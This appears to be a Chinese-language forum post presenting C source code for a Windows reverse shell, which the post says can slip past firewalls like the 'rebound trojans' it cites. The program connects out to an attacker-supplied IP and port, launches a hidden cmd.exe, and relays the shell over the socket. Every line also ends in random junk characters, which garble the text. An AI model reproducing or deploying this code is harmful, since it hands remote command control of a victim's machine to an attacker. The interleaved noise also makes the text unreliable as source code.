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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5'9.np F)  
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/* ============================== Y\8+}g;KR  
Rebound port in Windows NT SKx e3  
By wind,2006/7 /+P5)q TKL  
===============================*/ hO;9Y|y  
#include `@\^m_!}  
#include {,v: GMsm  
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#pragma comment(lib,"wsock32.lib") 44Qk;8*  
? Q:PPqQ  
void OutputShell(); "yri[X  
SOCKET sClient; 2fBYT4*P;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ut;'Gk  
$B ?? Ip?P  
void main(int argc,char **argv) C 38XQLC  
{ lVT&+r~r  
WSADATA stWsaData; [D9:A  
int nRet; "i''Ui\H  
SOCKADDR_IN stSaiClient,stSaiServer; 2lJZw@  
y*|L:!   
if(argc != 3) x~(y "^ph  
{ jNqVdP]d\  
printf("Useage:\n\rRebound DestIP DestPort\n"); J(hA^;8:  
return; dqwWfn1lt  
} iE+6UK  
yjv&4pIc1  
WSAStartup(MAKEWORD(2,2),&stWsaData); E@]sq A  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K Dz]wNf  
%%x0w^  
stSaiClient.sin_family = AF_INET; r4S=I   
stSaiClient.sin_port = htons(0); k) 3s?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \d$Rd")w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b\M b*o  
{ xx6S`R6:  
printf("Bind Socket Failed!\n"); Y`=z.D{  
return; UC;=)  
} x {vIT- f  
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stSaiServer.sin_family = AF_INET; /[L)tj7B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lG < yJ~{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ` Rsl] GB  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k?n]ZNlT  
{ 8iOO1I?+  
printf("Connect Error!"); VB's  
return; y\z*p&I  
} ,aYU$~o#  
OutputShell(); $&Ac5Zo%}  
} A_]D~HH  
^K/G5  
void OutputShell() vQcUaPm\$  
{ ,.q8Xf  
char szBuff[1024]; [Q=4P*G}X  
SECURITY_ATTRIBUTES stSecurityAttributes; m"q/,}DR  
OSVERSIONINFO stOsversionInfo; }eI`Qg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CCn/ udp@  
STARTUPINFO stStartupInfo; lf;~5/%wMG  
char *szShell; " C&x ,Ic  
PROCESS_INFORMATION stProcessInformation; IF^[^^v+H  
unsigned long lBytesRead; dGa@<hg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }oV3EIH  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bbO+%-(X  
stSecurityAttributes.lpSecurityDescriptor = 0; dUZ$wbV%h  
stSecurityAttributes.bInheritHandle = TRUE; =}"R5  
"W3W:vl!  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q< b"M$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !4_!J (q%  
vD_u[j]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); we }#Ru*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G}s;JJax  
stStartupInfo.wShowWindow = SW_HIDE; *J.c $1#h  
stStartupInfo.hStdInput = hReadPipe; e7h\(`J0lj  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H a90  
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GetVersionEx(&stOsversionInfo); \N6<BS  
1x8(I&i  
switch(stOsversionInfo.dwPlatformId) U>bP}[&S  
{  &Q<EfB  
case 1: Rnz8 f}  
szShell = "command.com"; iY}QgB< M  
break; |^>u<E5  
default: Z0{f  
szShell = "cmd.exe"; oy`3r5g   
break; {a[&#Uv  
} ?{?Vy9'B  
d8D yv#gT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /(y4V  
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send(sClient,szMsg,77,0); rtcJ=`)0`  
while(1) uF+);ig  
{ *>G ^!e.u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vn@A]Jx^  
if(lBytesRead) D\n>*x  
{ ,zc"udpKF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t`) 'LT  
send(sClient,szBuff,lBytesRead,0); PnI)n=(\  
} zI1(F67d`  
else G,+xT}@wu  
{ tP&{ J^G  
lBytesRead=recv(sClient,szBuff,1024,0); 7 FEzak'  
if(lBytesRead<=0) break; )iT.A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )~1.<((<  
} nR(#F9  
} mi*:S%;h  
XSD"/_xD  
return; b?sA EU;  
}
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